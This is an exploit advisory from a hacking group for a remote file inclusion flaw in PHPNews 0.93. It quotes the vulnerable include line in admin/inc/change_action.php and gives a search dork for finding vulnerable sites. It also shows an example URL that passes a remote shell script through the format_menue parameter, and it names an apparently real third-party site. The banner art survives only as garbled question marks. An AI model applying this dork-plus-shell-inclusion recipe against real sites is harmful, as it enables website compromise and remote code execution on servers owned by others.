PHPNews 0.93 (format_menue) Remote File Inclusion Vulnerability

?????__________________________________________????? ????????_____________________________________??????? ???????????_________________________________???????? ??????????????_____________________________????????? ????????????????__________________________?????????? ???????????????????______________________??????????? ?????????????????????___________________???????????? ??????????????????????_________________????????????? ????????????????????????_______________????????????? ??????????????????????????_____________????????????? ___?????????????????????????__________?????????????? _____?????????????????????????________?????????????? ________???????????????????????_______?????????????? ___________??????????????????????_____?????????????? ________________???????????????????___?????????????? _____________________???????????????__?????????????? ___________________________????????????????????????_ _____________________???????????????????????????____ ______________???????????????????????????????_______ ___________???????????????????????????????????______ ________????????????????????????????????????????____ ______????????_____??????????????????????????????___ ____?????????_______??????????????????????????????__ __???????????_______???????????????????????????????_ _?????????????_____????????????????????????????????? ???????????????????????????????????????????????????? ???????????????????????????????????????????????????? ???????????????????????????????????????????????????? ???????????????????????????????????????????????????? _??????????????????????????????????????????????????_ __?????????????????????????????????????????????????_ _____?????????????????????????????????????????????__ _________????????????????????????????????????????___ _______________??????????????????????????????????___ _________________???????????????????????????????____ _________________???????????????????????????________ ________________??????????_____??????????___________ _________________?????_________?????_________?????__ __________????_________????____________?????????____ __________?????????????????_____??????????__________ __________?????????????????___?????_________________ __________?????______??????_________________________ ############################################################################################## ############################################################################################## ############################################################################################## ############################################################################################## # PHPNews <=  Remote File Inclusion Vulnerability # #Dork:"PHPNews Version 0.93" # #Vuln Code ############################################################################################## ############################################################################################## ############################################################################################## # #ERROR1:admin/inc/change_action.php # #<?PHP        include ("$format_menue"); #?>   <<< RFI CODE # # #BUG1:admin/inc/change_action.php?format_menue= # #Example1:http://site.com/path/admin/inc/change_action.php?format_menue=[[Sh3LLScript]] # ############################################################################################## ############################################################################################## ############################################################################################## # #http://www.crear.de/2003/dienste/phpdownloadlinks_0.6/load_page.php?uid=9 # ############################################################################################## ############################################################################################## ############################################################################################## # #LEETSECURITY.ORG <<<< sanal alemde bizde variz...(A�iklar bundan sonra ilk LeetSecurity'de) # # #####special thanx:###..Str0ke..####..KEZZAP66345..####..Wocker..############################# ############################################################################################## ##############################################################################################